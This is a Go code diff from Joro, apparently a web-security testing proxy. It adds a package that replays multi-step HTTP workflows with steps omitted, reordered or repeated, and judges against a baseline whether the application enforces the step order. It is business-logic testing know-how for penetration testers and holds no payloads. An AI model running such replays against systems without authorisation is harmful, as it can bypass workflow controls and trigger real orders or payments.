// addExtra stores an instance with no grid slot: a repeated step's second and
|
||||
// later occurrences.
|
||||
func (r *Run) addExtra(res Result) int {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
res.Index = len(r.results) + len(r.extras)
|
||||
r.extras = append(r.extras, res)
|
||||
r.tallyLocked(res)
|
||||
return res.Index
|
||||
}
|
||||
|
||||
// lastOccurrence returns a step's final instance within one variant.
|
||||
//
|
||||
// The grid holds occurrence 0, so a repeat's later sends live in extras and are
|
||||
// invisible to anything pivoting by slot — including the verdict, which needs
|
||||
// the send the repeat actually added.
|
||||
func (r *Run) lastOccurrence(variantID, stepID string) (Result, bool) {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
var out Result
|
||||
found := false
|
||||
for _, res := range r.extras {
|
||||
if res.VariantID != variantID || res.StepID != stepID {
|
||||
continue
|
||||
}
|
||||
if !found || res.Occurrence > out.Occurrence {
|
||||
out, found = res, true
|
||||
}
|
||||
}
|
||||
return out, found
|
||||
}
|
||||
|
||||
func (r *Run) tallyLocked(res Result) {
|
||||
// A skipped cell is grid filler, not work: the variant omitted the step, so
|
||||
// counting it as progress would make the bar reach the end early and make
|
||||
// completed disagree with the number of requests the run said it would send.
|
||||
if res.Cell == CellSkipped {
|
||||
return
|
||||
}
|
||||
r.completed++
|
||||
switch res.Cell {
|
||||
case CellError:
|
||||
r.errors++
|
||||
case CellUnresolved:
|
||||
r.unresolved++
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Run) setVerdict(v Verdict) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
r.verdicts[v.VariantID] = v
|
||||
if v.Verdict == VerdictBypassed || v.Verdict == VerdictAmplified {
|
||||
r.bypassed++
|
||||
}
|
||||
}
|
||||
|
||||
// baselineOf reads a step's baseline outcome. The baseline is always variant 0,
|
||||
// so its row starts at slot 0 and a step's chain index is its slot.
|
||||
func (r *Run) baselineOf(stepIdx int) (Result, bool) {
|
||||
res, ok := r.slotAt(stepIdx)
|
||||
return res, ok && res.Cell != ""
|
||||
}
|
||||
|
||||
// slotAt reads one grid slot.
|
||||
func (r *Run) slotAt(idx int) (Result, bool) {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
if idx < 0 || idx >= len(r.results) {
|
||||
return Result{}, false
|
||||
}
|
||||
return r.results[idx], true
|
||||
}
|
||||
|
||||
func (r *Run) finish(s Status) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if r.status == StatusRunning {
|
||||
r.status = s
|
||||
}
|
||||
}
|
||||
|
||||
// Stop cancels a running run.
|
||||
func (r *Run) Stop() bool {
|
||||
r.mu.Lock()
|
||||
cancel := r.cancel
|
||||
running := r.status == StatusRunning
|
||||
if running {
|
||||
r.status = StatusStopped
|
||||
}
|
||||
r.mu.Unlock()
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
return running
|
||||
}
|
||||
|
||||
func (r *Run) setCancel(cancel context.CancelFunc) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
r.cancel = cancel
|
||||
}
|
||||
|
||||
// Deps is what a run needs from the host process.
|
||||
type Deps struct {
|
||||
// Send carries the proxy address, CA and capture store. Claims stays nil: a
|
||||
// chain run is sequential by construction, which is the one case
|
||||
// SendViaProxy documents as not needing a claim set.
|
||||
Send httptools.SendDeps
|
||||
|
||||
// Broadcast is the hub's channel, carrying event.WSEvent values.
|
||||
Broadcast chan<- any
|
||||
}
|
||||
|
||||
func clampInt(v, def, lo, hi int) int {
|
||||
if v == 0 {
|
||||
return def
|
||||
}
|
||||
if v < lo {
|
||||
return lo
|
||||
}
|
||||
if v > hi {
|
||||
return hi
|
||||
}
|
||||
return v
|
||||
}
|
||||
@@ -0,0 +1,276 @@
|
||||
package chainrun
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/joro/internal/chain"
|
||||
)
|
||||
|
||||
// classify decides one cell's state by comparing it to the baseline row.
|
||||
//
|
||||
// Only a send that produced a response reaches here with an empty Cell; error,
|
||||
// unresolved and skipped are decided before or instead of sending, and keep the
|
||||
// state they arrived with.
|
||||
func classify(run *Run, variantIdx, stepIdx int, res *Result) {
|
||||
if res.Cell != "" {
|
||||
return
|
||||
}
|
||||
if variantIdx == 0 {
|
||||
// The baseline is the comparison basis, so it matches itself. A failing
|
||||
// baseline is still worth saying out loud, and the baseline verdict's
|
||||
// detail is where that is reported — a per-cell state cannot, because
|
||||
// there is nothing to compare it against.
|
||||
res.Cell = CellOK
|
||||
return
|
||||
}
|
||||
|
||||
base, ok := run.baselineOf(stepIdx)
|
||||
if !ok || base.StructHash == "" {
|
||||
// The baseline never got a response for this step, so there is nothing
|
||||
// to compare against and saying "ok" would be a guess in the direction
|
||||
// that hides a finding.
|
||||
res.Cell = CellChanged
|
||||
res.Note = appendNote(res.Note, "no baseline for this step")
|
||||
return
|
||||
}
|
||||
|
||||
if res.StructHash == base.StructHash {
|
||||
res.Cell = CellOK
|
||||
return
|
||||
}
|
||||
if base.Status > 0 && base.Status < 400 && res.Status >= 400 {
|
||||
res.Cell = CellBlocked
|
||||
return
|
||||
}
|
||||
res.Cell = CellChanged
|
||||
}
|
||||
|
||||
// verdictFor decides what one variant proved.
|
||||
//
|
||||
// The rubric is computed here and ships on the result, so the frontend renders it
|
||||
// and never recomputes it — one fewer mirror to keep in sync, the rule
|
||||
// apiscan.Triage and sjStatus.tsx already follow.
|
||||
func verdictFor(run *Run, variantIdx int, variant chain.Variant, stepIndex map[string]int) Verdict {
|
||||
v := Verdict{VariantID: variant.ID, Kind: variant.Kind, Label: variant.Label}
|
||||
ch := run.Config.Chain
|
||||
base := variantIdx * run.Stride
|
||||
|
||||
goal, hasGoal := ch.GoalStep()
|
||||
if !hasGoal {
|
||||
v.Verdict = VerdictInconclusive
|
||||
v.Detail = "the chain has no steps"
|
||||
return v
|
||||
}
|
||||
|
||||
// Walk the variant in execution order up to the goal. A replay that fell
|
||||
// apart before reaching the goal says nothing about the application, and
|
||||
// this check runs first because inconclusive dominates every other verdict:
|
||||
// reporting a broken replay as "enforced" fails in the direction that hides
|
||||
// a real finding, which is the polarity apiscan.verdictFor and
|
||||
// trigger.Compile both settle on.
|
||||
// The goal is checked too, then the walk stops. Breaking before it left the
|
||||
// deciding step as the only one whose failure went unnoticed: "unresolved"
|
||||
// is a non-empty cell, so it reached the switch below as a not-OK answer and
|
||||
// read as enforced.
|
||||
for _, stepID := range variant.Steps {
|
||||
idx, ok := stepIndex[stepID]
|
||||
if !ok {
|
||||
if stepID == goal.ID {
|
||||
break
|
||||
}
|
||||
continue
|
||||
}
|
||||
cell, ok := run.slotAt(base + idx)
|
||||
if ok {
|
||||
switch cell.Cell {
|
||||
case CellUnresolved:
|
||||
v.Verdict = VerdictInconclusive
|
||||
v.Detail = fmt.Sprintf("%s could not run: %s", cell.Label, cell.Note)
|
||||
return v
|
||||
case CellError:
|
||||
v.Verdict = VerdictInconclusive
|
||||
v.Detail = fmt.Sprintf("%s failed to send: %s", cell.Label, cell.Error)
|
||||
return v
|
||||
}
|
||||
}
|
||||
if stepID == goal.ID {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
goalIdx, ok := stepIndex[goal.ID]
|
||||
if !ok {
|
||||
v.Verdict = VerdictInconclusive
|
||||
v.Detail = "the goal step is not in the chain"
|
||||
return v
|
||||
}
|
||||
goalCell, ok := run.slotAt(base + goalIdx)
|
||||
if !ok || goalCell.Cell == "" {
|
||||
v.Verdict = VerdictInconclusive
|
||||
v.Detail = "the goal step did not run"
|
||||
return v
|
||||
}
|
||||
|
||||
switch variant.Kind {
|
||||
case chain.VariantBaseline:
|
||||
v.Verdict = VerdictBaseline
|
||||
if bad := failingBaselineSteps(run, ch); bad != "" {
|
||||
// Not a verdict of its own: the baseline is still the comparison
|
||||
// basis. But a baseline whose own steps are failing makes every
|
||||
// other verdict in the run suspect, and the operator has to know.
|
||||
v.Detail = "baseline steps did not succeed: " + bad
|
||||
}
|
||||
return v
|
||||
|
||||
case chain.VariantRepeat:
|
||||
// Repeat asks a stricter question than skip does, so it reads the
|
||||
// stricter hash. "Did the goal still work" is not interesting here —
|
||||
// it did — "did anything about its answer change" is, and a total
|
||||
// falling from 90 to 80 is exactly the change StructHash folds away.
|
||||
//
|
||||
// When the repeated step is the goal, the answer in question is the
|
||||
// second one. Occurrence 0 owns the grid slot and ran before the repeat,
|
||||
// so comparing it reports every double-submit as idempotent.
|
||||
cmp := goalCell
|
||||
if variant.Target == goal.ID {
|
||||
if last, ok := run.lastOccurrence(variant.ID, goal.ID); ok {
|
||||
cmp = last
|
||||
}
|
||||
switch cmp.Cell {
|
||||
case CellUnresolved, CellError:
|
||||
v.Verdict = VerdictInconclusive
|
||||
v.Detail = fmt.Sprintf("the second %s did not run", goal.Label)
|
||||
return v
|
||||
}
|
||||
}
|
||||
baseGoal, haveBase := run.baselineOf(goalIdx)
|
||||
if haveBase && cmp.CanonHash != "" && cmp.CanonHash == baseGoal.CanonHash {
|
||||
v.Verdict = VerdictIdempotent
|
||||
v.Detail = fmt.Sprintf("repeating %s did not change %s", labelOf(ch, variant.Target), goal.Label)
|
||||
return v
|
||||
}
|
||||
v.Verdict = VerdictAmplified
|
||||
v.Detail = fmt.Sprintf("repeating %s changed what %s returned",
|
||||
labelOf(ch, variant.Target), goal.Label)
|
||||
return v
|
||||
|
||||
default: // omit, move
|
||||
if goalCell.Cell == CellOK {
|
||||
v.Verdict = VerdictBypassed
|
||||
v.Detail = fmt.Sprintf("%s answered exactly as it did in the baseline", goal.Label)
|
||||
return v
|
||||
}
|
||||
v.Verdict = VerdictEnforced
|
||||
v.Detail = fmt.Sprintf("%s answered %d (%s)", goal.Label, goalCell.Status, goalCell.Cell)
|
||||
return v
|
||||
}
|
||||
}
|
||||
|
||||
// failingBaselineSteps names the baseline steps that did not succeed.
|
||||
func failingBaselineSteps(run *Run, ch *chain.Chain) string {
|
||||
var bad []string
|
||||
for idx, s := range ch.Steps {
|
||||
cell, ok := run.slotAt(idx)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if cell.Cell == CellError || cell.Cell == CellUnresolved || (cell.Status >= 400 && cell.Status != 0) {
|
||||
bad = append(bad, fmt.Sprintf("%s (%d)", s.Label, cell.Status))
|
||||
}
|
||||
}
|
||||
if len(bad) == 0 {
|
||||
return ""
|
||||
}
|
||||
if len(bad) > 3 {
|
||||
return fmt.Sprintf("%s and %d more", bad[0], len(bad)-1)
|
||||
}
|
||||
return joinComma(bad)
|
||||
}
|
||||
|
||||
func labelOf(ch *chain.Chain, stepID string) string {
|
||||
if s, _, ok := ch.StepByID(stepID); ok {
|
||||
return s.Label
|
||||
}
|
||||
return stepID
|
||||
}
|
||||
|
||||
func joinComma(in []string) string {
|
||||
out := ""
|
||||
for i, s := range in {
|
||||
if i > 0 {
|
||||
out += ", "
|
||||
}
|
||||
out += s
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func appendNote(existing, add string) string {
|
||||
if existing == "" {
|
||||
return add
|
||||
}
|
||||
return existing + "; " + add
|
||||
}
|
||||
|
||||
// GridView is the whole result matrix, materialized for one render.
|
||||
type GridView struct {
|
||||
RunID string `json:"runId"`
|
||||
Steps []StepHead `json:"steps"`
|
||||
Variants []chain.Variant `json:"variants"`
|
||||
Rows []Row `json:"rows"`
|
||||
Summary map[string]int `json:"summary"`
|
||||
|
||||
// Interesting lists the variant ids worth looking at first.
|
||||
Interesting []string `json:"interesting"`
|
||||
}
|
||||
|
||||
// Row is one variant across every step.
|
||||
type Row struct {
|
||||
Variant chain.Variant `json:"variant"`
|
||||
Cells []Result `json:"cells"`
|
||||
Verdict Verdict `json:"verdict"`
|
||||
}
|
||||
|
||||
// Grid pivots a run into the matrix the tab renders.
|
||||
func Grid(run *Run) GridView {
|
||||
run.mu.RLock()
|
||||
results := append([]Result(nil), run.results...)
|
||||
verdicts := make(map[string]Verdict, len(run.verdicts))
|
||||
for k, v := range run.verdicts {
|
||||
verdicts[k] = v
|
||||
}
|
||||
run.mu.RUnlock()
|
||||
|
||||
out := GridView{
|
||||
RunID: run.ID,
|
||||
Steps: run.Steps,
|
||||
Variants: run.Variants,
|
||||
// Materialized non-nil, for the reason chain.Chain.Normalize records:
|
||||
// a nil slice ships JSON null against a TypeScript array type.
|
||||
Rows: []Row{},
|
||||
Summary: map[string]int{},
|
||||
Interesting: []string{},
|
||||
}
|
||||
|
||||
for vi, variant := range run.Variants {
|
||||
row := Row{Variant: variant, Cells: []Result{}, Verdict: verdicts[variant.ID]}
|
||||
for si := range run.Steps {
|
||||
idx := vi*run.Stride + si
|
||||
if idx < len(results) {
|
||||
res := results[idx]
|
||||
res.ReqRaw, res.RespRaw = nil, nil
|
||||
row.Cells = append(row.Cells, res)
|
||||
} else {
|
||||
row.Cells = append(row.Cells, Result{})
|
||||
}
|
||||
}
|
||||
out.Rows = append(out.Rows, row)
|
||||
if row.Verdict.Verdict != "" {
|
||||
out.Summary[row.Verdict.Verdict]++
|
||||
}
|
||||
if row.Verdict.Verdict == VerdictBypassed || row.Verdict.Verdict == VerdictAmplified {
|
||||
out.Interesting = append(out.Interesting, variant.ID)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,320 @@
|
||||
package chainrun
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/chain"
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// Plan refuses a run before any bytes go on the wire, and reports how many step
|
||||
// instances it will send.
|
||||
func Plan(cfg Config) (int, error) {
|
||||
if cfg.Chain == nil {
|
||||
return 0, fmt.Errorf("no chain")
|
||||
}
|
||||
total, err := chain.Plan(cfg.Chain, cfg.Variants)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
// The arming gate. A chain of GETs is a read; anything else creates orders,
|
||||
// sends mail and moves money, once per variant.
|
||||
if methods := chain.StateChangingMethods(cfg.Chain); len(methods) > 0 && !cfg.AllowStateChanging {
|
||||
return 0, fmt.Errorf("this chain sends %s requests; tick \"allow state-changing requests\" to run it",
|
||||
strings.Join(methods, ", "))
|
||||
}
|
||||
return total, nil
|
||||
}
|
||||
|
||||
// Execute runs every variant, sequentially.
|
||||
//
|
||||
// Sequential end to end: the steps of a workflow are data-dependent so they
|
||||
// cannot overlap, and two variants racing on the application's own state would
|
||||
// produce verdicts describing the interleaving rather than the application.
|
||||
func Execute(ctx context.Context, run *Run, d Deps) {
|
||||
cfg := run.Config
|
||||
delay := time.Duration(clampInt(cfg.DelayMs, DefaultDelayMs, 0, MaxDelayMs)) * time.Millisecond
|
||||
perStep := time.Duration(clampInt(cfg.TimeoutMs, DefaultTimeoutMs, 1000, MaxTimeoutMs)) * time.Millisecond
|
||||
budget := time.Duration(clampInt(cfg.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
|
||||
|
||||
runCtx, cancel := context.WithTimeout(ctx, budget)
|
||||
defer cancel()
|
||||
run.setCancel(cancel)
|
||||
|
||||
started := time.Now()
|
||||
broadcast(d, "chain.run.started", map[string]any{
|
||||
"runId": run.ID,
|
||||
"chainId": run.ChainID,
|
||||
"chainName": run.ChainName,
|
||||
"variants": len(cfg.Variants),
|
||||
"total": run.Total,
|
||||
})
|
||||
|
||||
ch := cfg.Chain
|
||||
stepIndex := make(map[string]int, len(ch.Steps))
|
||||
for i, s := range ch.Steps {
|
||||
stepIndex[s.ID] = i
|
||||
}
|
||||
|
||||
status := StatusComplete
|
||||
for vi, variant := range cfg.Variants {
|
||||
if runCtx.Err() != nil {
|
||||
status = StatusStopped
|
||||
break
|
||||
}
|
||||
runVariant(runCtx, run, d, vi, variant, stepIndex, perStep, delay)
|
||||
run.setVerdict(verdictFor(run, vi, variant, stepIndex))
|
||||
emitVerdict(d, run, variant.ID)
|
||||
}
|
||||
|
||||
if runCtx.Err() != nil {
|
||||
status = StatusStopped
|
||||
}
|
||||
// Any slot never reached keeps its zero Cell, which the grid reads as "not
|
||||
// run" — the same polarity apiscan.verdictFor uses for an unfilled slot, and
|
||||
// for the same reason: a cell that never ran must not read as a pass.
|
||||
run.finish(status)
|
||||
|
||||
completed, errs, unresolved, bypassed := run.Counts()
|
||||
broadcast(d, "chain.run.complete", map[string]any{
|
||||
"runId": run.ID,
|
||||
"status": string(run.Status()),
|
||||
"completed": completed,
|
||||
"errors": errs,
|
||||
"unresolved": unresolved,
|
||||
"bypassed": bypassed,
|
||||
"durationMs": time.Since(started).Milliseconds(),
|
||||
})
|
||||
}
|
||||
|
||||
// runVariant executes one ordering and fills its row of the grid.
|
||||
func runVariant(ctx context.Context, run *Run, d Deps, vi int, variant chain.Variant,
|
||||
stepIndex map[string]int, perStep, delay time.Duration) {
|
||||
|
||||
ch := run.Config.Chain
|
||||
vars := chain.Vars{}
|
||||
occurrence := map[string]int{}
|
||||
ran := map[string]bool{}
|
||||
base := vi * run.Stride
|
||||
|
||||
for si, stepID := range variant.Steps {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
step, idx, ok := ch.StepByID(stepID)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
ran[stepID] = true
|
||||
occ := occurrence[stepID]
|
||||
occurrence[stepID]++
|
||||
|
||||
res := executeStep(ctx, run, d, ch, step, vars, perStep)
|
||||
res.VariantID = variant.ID
|
||||
res.StepID = stepID
|
||||
res.Label = step.Label
|
||||
res.Occurrence = occ
|
||||
classify(run, vi, idx, &res)
|
||||
|
||||
// Occurrence 0 owns the grid slot; a repeat's later instances go to the
|
||||
// extras region so the grid stays rectangular and the pivot stays
|
||||
// arithmetic.
|
||||
if occ == 0 {
|
||||
res.Index = base + idx
|
||||
run.setResult(base+idx, res)
|
||||
} else {
|
||||
res.Index = run.addExtra(res)
|
||||
}
|
||||
emitResult(d, run, res)
|
||||
|
||||
if delay > 0 && si+1 < len(variant.Steps) {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-time.After(delay):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fill the cells for steps this variant left out.
|
||||
for idx, s := range ch.Steps {
|
||||
if ran[s.ID] {
|
||||
continue
|
||||
}
|
||||
res := Result{
|
||||
VariantID: variant.ID,
|
||||
StepID: s.ID,
|
||||
Label: s.Label,
|
||||
Method: chain.MethodOf(s.ReqRaw),
|
||||
Cell: CellSkipped,
|
||||
Index: base + idx,
|
||||
}
|
||||
run.setResult(base+idx, res)
|
||||
emitResult(d, run, res)
|
||||
}
|
||||
}
|
||||
|
||||
// executeStep renders, sends and captures one step instance.
|
||||
func executeStep(ctx context.Context, run *Run, d Deps, ch *chain.Chain, step chain.Step,
|
||||
vars chain.Vars, perStep time.Duration) Result {
|
||||
|
||||
res := Result{
|
||||
Method: chain.MethodOf(step.ReqRaw),
|
||||
URL: step.Scheme + "://" + step.Host + chain.TargetOf(step.ReqRaw),
|
||||
}
|
||||
|
||||
raw, missing, err := chain.Render(ch, step, vars)
|
||||
if err != nil {
|
||||
res.Cell = CellError
|
||||
res.Error = err.Error()
|
||||
return res
|
||||
}
|
||||
if len(missing) > 0 {
|
||||
// Do not send. A step that quietly sent a stale token would look exactly
|
||||
// like the application rejecting the request, which is the false
|
||||
// negative this whole design exists to avoid.
|
||||
res.Cell = CellUnresolved
|
||||
res.Missing = missing
|
||||
names := make([]string, 0, len(missing))
|
||||
for _, m := range missing {
|
||||
label := m.FromStep
|
||||
if s, _, ok := ch.StepByID(m.FromStep); ok {
|
||||
label = s.Label
|
||||
}
|
||||
names = append(names, fmt.Sprintf("%s (from %s)", m.Var, label))
|
||||
}
|
||||
res.Note = "needs " + strings.Join(names, ", ")
|
||||
return res
|
||||
}
|
||||
res.ReqRaw = raw
|
||||
|
||||
itemCtx, cancelItem := context.WithTimeout(ctx, perStep)
|
||||
defer cancelItem()
|
||||
|
||||
sent, err := httptools.SendViaProxy(itemCtx, raw, step.Scheme, step.Host, d.Send)
|
||||
if err != nil {
|
||||
res.Cell = CellError
|
||||
res.Error = annotateSendErr(err, itemCtx)
|
||||
return res
|
||||
}
|
||||
|
||||
res.RespRaw = sent.RespRaw
|
||||
res.Seq = sent.Seq
|
||||
res.RequestID = sent.RequestID
|
||||
res.SeqNote = sent.SeqNote
|
||||
if sent.Method != "" {
|
||||
res.Method = sent.Method
|
||||
}
|
||||
if sent.URL != "" {
|
||||
res.URL = sent.URL
|
||||
}
|
||||
|
||||
// Capture before hashing: this step's own outputs have to be in the table or
|
||||
// the value it just produced — an order id, a fresh token — is left unfolded
|
||||
// and makes the response look different from the baseline's every time.
|
||||
res.Captured = chain.Capture(ch, step, sent.RespRaw, vars)
|
||||
canonical := canonicalRaw(sent.RespRaw, vars)
|
||||
|
||||
fp := httptools.FingerprintResponse(sent.Seq, canonical, sent.Duration.Milliseconds(), false)
|
||||
res.Status = fp.Status
|
||||
res.DurationMs = fp.DurationMs
|
||||
res.BodyHash = fp.BodyHash
|
||||
res.StructHash = fp.StructHash
|
||||
res.Words = fp.Words
|
||||
res.Lines = fp.Lines
|
||||
res.CanonHash = canonHash(canonical)
|
||||
// Length is reported from what actually came back, not from the canonical
|
||||
// copy: it is shown to the operator, and a folded length is a lie.
|
||||
res.Len = len(httptools.ReadResponse(sent.RespRaw).Body)
|
||||
if res.Note == "" {
|
||||
res.Note = fp.Note
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
// canonHash is sha256 of the canonicalized body, first 8 hex.
|
||||
// canonicalRaw decodes a response, then folds every bound value to its name.
|
||||
//
|
||||
// Decoding first, because the proxy leaves Content-Encoding in place: a gzip'd
|
||||
// body contains no bound value as a literal, so folding it first matches nothing
|
||||
// and says nothing — and every variant then reads as "changed".
|
||||
//
|
||||
// The encoding headers go with the body they described, so the fingerprint does
|
||||
// not try to decompress plaintext.
|
||||
func canonicalRaw(respRaw []byte, vars chain.Vars) []byte {
|
||||
resp := httptools.ReadResponse(respRaw)
|
||||
|
||||
var b bytes.Buffer
|
||||
fmt.Fprintf(&b, "HTTP/1.1 %d \r\n", resp.Status)
|
||||
names := make([]string, 0, len(resp.Header))
|
||||
for name := range resp.Header {
|
||||
switch {
|
||||
case strings.EqualFold(name, "Content-Encoding"),
|
||||
strings.EqualFold(name, "Content-Length"),
|
||||
strings.EqualFold(name, "Transfer-Encoding"):
|
||||
continue
|
||||
}
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
for _, name := range names {
|
||||
for _, v := range resp.Header.Values(name) {
|
||||
fmt.Fprintf(&b, "%s: %s\r\n", name, v)
|
||||
}
|
||||
}
|
||||
b.WriteString("\r\n")
|
||||
b.Write(chain.Canonicalize(resp.Body, vars))
|
||||
return b.Bytes()
|
||||
}
|
||||
|
||||
func canonHash(canonical []byte) string {
|
||||
sum := sha256.Sum256(httptools.ReadResponse(canonical).Body)
|
||||
return hex.EncodeToString(sum[:4])
|
||||
}
|
||||
|
||||
// annotateSendErr explains the failure an operator will actually hit.
|
||||
//
|
||||
// A timeout here is nearly always the request sitting in the operator's own
|
||||
// Intercept queue, and saying so is the difference between a one-click fix and a
|
||||
// hunt through the target's rate limiting. The same note resend.go carries.
|
||||
func annotateSendErr(err error, ctx context.Context) string {
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
return err.Error() + " (if request intercept is armed, this step is waiting in the Intercept queue)"
|
||||
}
|
||||
return err.Error()
|
||||
}
|
||||
|
||||
func emitResult(d Deps, run *Run, res Result) {
|
||||
res.ReqRaw, res.RespRaw = nil, nil
|
||||
broadcast(d, "chain.run.result", map[string]any{
|
||||
"runId": run.ID, "result": res,
|
||||
})
|
||||
}
|
||||
|
||||
func emitVerdict(d Deps, run *Run, variantID string) {
|
||||
for _, v := range run.Verdicts() {
|
||||
if v.VariantID == variantID {
|
||||
broadcast(d, "chain.run.variant", map[string]any{"runId": run.ID, "verdict": v})
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// broadcast sends blocking, from the run's own goroutine, like fuzzer.result and
|
||||
// spec.run.result: Hub.Subscribe fans out to in-process consumers without
|
||||
// blocking, so a slow subscriber cannot stall the run, and blocking here is what
|
||||
// keeps the client's row count agreeing with the run's total.
|
||||
func broadcast(d Deps, typ string, data map[string]any) {
|
||||
if d.Broadcast == nil {
|
||||
return
|
||||
}
|
||||
d.Broadcast <- event.WSEvent{Type: typ, Data: data}
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
package chainrun
|
||||
|
||||
import "sync"
|
||||
|
||||
// Store holds runs in memory, bounded like apiscan.Store. Runs are session state
|
||||
// and never reach the project file.
|
||||
type Store struct {
|
||||
mu sync.RWMutex
|
||||
runs []*Run
|
||||
}
|
||||
|
||||
// NewStore creates an empty run store.
|
||||
func NewStore() *Store { return &Store{} }
|
||||
|
||||
// Add registers a run, evicting the oldest finished one when full. A running run
|
||||
// is never evicted: Execute holds a pointer to it, and dropping it from the store
|
||||
// would only make it unreachable, not stop it.
|
||||
func (s *Store) Add(r *Run) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if len(s.runs) >= MaxRuns {
|
||||
for i, old := range s.runs {
|
||||
if old.Status() != StatusRunning {
|
||||
s.runs = append(s.runs[:i], s.runs[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
s.runs = append(s.runs, r)
|
||||
}
|
||||
|
||||
// Get returns a run by ID, or nil.
|
||||
func (s *Store) Get(id string) *Run {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, r := range s.runs {
|
||||
if r.ID == id {
|
||||
return r
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// List returns every run, newest first.
|
||||
func (s *Store) List() []*Run {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]*Run, len(s.runs))
|
||||
for i, r := range s.runs {
|
||||
out[len(s.runs)-1-i] = r
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Running returns the run currently in flight, or nil.
|
||||
//
|
||||
// A chain run holds the application's state for its whole duration, so a second
|
||||
// concurrent run would interleave with it and both would produce verdicts
|
||||
// describing the interleaving rather than the application. The handler uses this
|
||||
// to refuse rather than queue, because a queue would hide that constraint behind
|
||||
// a wait.
|
||||
func (s *Store) Running() *Run {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, r := range s.runs {
|
||||
if r.Status() == StatusRunning {
|
||||
return r
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddIfIdle adds a run only if none is in flight, returning the run that blocked
|
||||
// it or nil on success.
|
||||
//
|
||||
// One lock for the test and the insert: Running then Add leaves a gap two
|
||||
// requests can both pass through, which is the interleaving the single-run rule
|
||||
// exists to prevent.
|
||||
func (s *Store) AddIfIdle(r *Run) *Run {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for _, old := range s.runs {
|
||||
if old.Status() == StatusRunning {
|
||||
return old
|
||||
}
|
||||
}
|
||||
if len(s.runs) >= MaxRuns {
|
||||
for i, old := range s.runs {
|
||||
if old.Status() != StatusRunning {
|
||||
s.runs = append(s.runs[:i], s.runs[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
s.runs = append(s.runs, r)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Delete removes a run, reporting whether it was found.
|
||||
func (s *Store) Delete(id string) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, r := range s.runs {
|
||||
if r.ID == id {
|
||||
s.runs = append(s.runs[:i], s.runs[i+1:]...)
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Clear stops and drops every run, for a project switch.
|
||||
func (s *Store) Clear() {
|
||||
s.mu.Lock()
|
||||
runs := s.runs
|
||||
s.runs = nil
|
||||
s.mu.Unlock()
|
||||
for _, r := range runs {
|
||||
r.Stop()
|
||||
}
|
||||
}
|
||||
@@ -64,6 +64,12 @@ type Config struct {
|
||||
// engagement where nothing may leave the machine — a webhook is the one feature whose
|
||||
// bytes go somewhere Joro's scope does not describe.
|
||||
NoWebhooks bool
|
||||
// NoFeeds disables the threat-intelligence feed fetcher entirely: no routes
|
||||
// registered, no feeds.json read or written, no outbound request to NVD or CISA. A
|
||||
// deployment-posture switch in the same family as NoWebhooks — the answer for an
|
||||
// engagement where the operator's machine must make no incidental outbound calls.
|
||||
// The feature is off by default regardless; this removes it outright.
|
||||
NoFeeds bool
|
||||
// NoPlugins skips loading plugins from ~/.joro/plugins/ — the files are still
|
||||
// listed, so the UI can delete one, but no plugin code runs.
|
||||
//
|
||||
|
||||
@@ -115,19 +115,65 @@ const (
|
||||
CategoryDisclosure Category = "disclosure"
|
||||
CategoryHeaders Category = "headers"
|
||||
CategoryCookies Category = "cookies"
|
||||
// CategoryAnomaly holds outlier findings — an endpoint unlike its siblings on
|
||||
// the same host. These come from internal/anomaly, not the rule engine, and
|
||||
// are advisory triage aids rather than vulnerability claims.
|
||||
CategoryAnomaly Category = "anomaly"
|
||||
// CategoryReflection holds input that reaches the response in a position it
|
||||
// can leave. These come from internal/echo, not the rule engine; a
|
||||
// reflection that cannot escape its context is mapped there and never filed
|
||||
// here.
|
||||
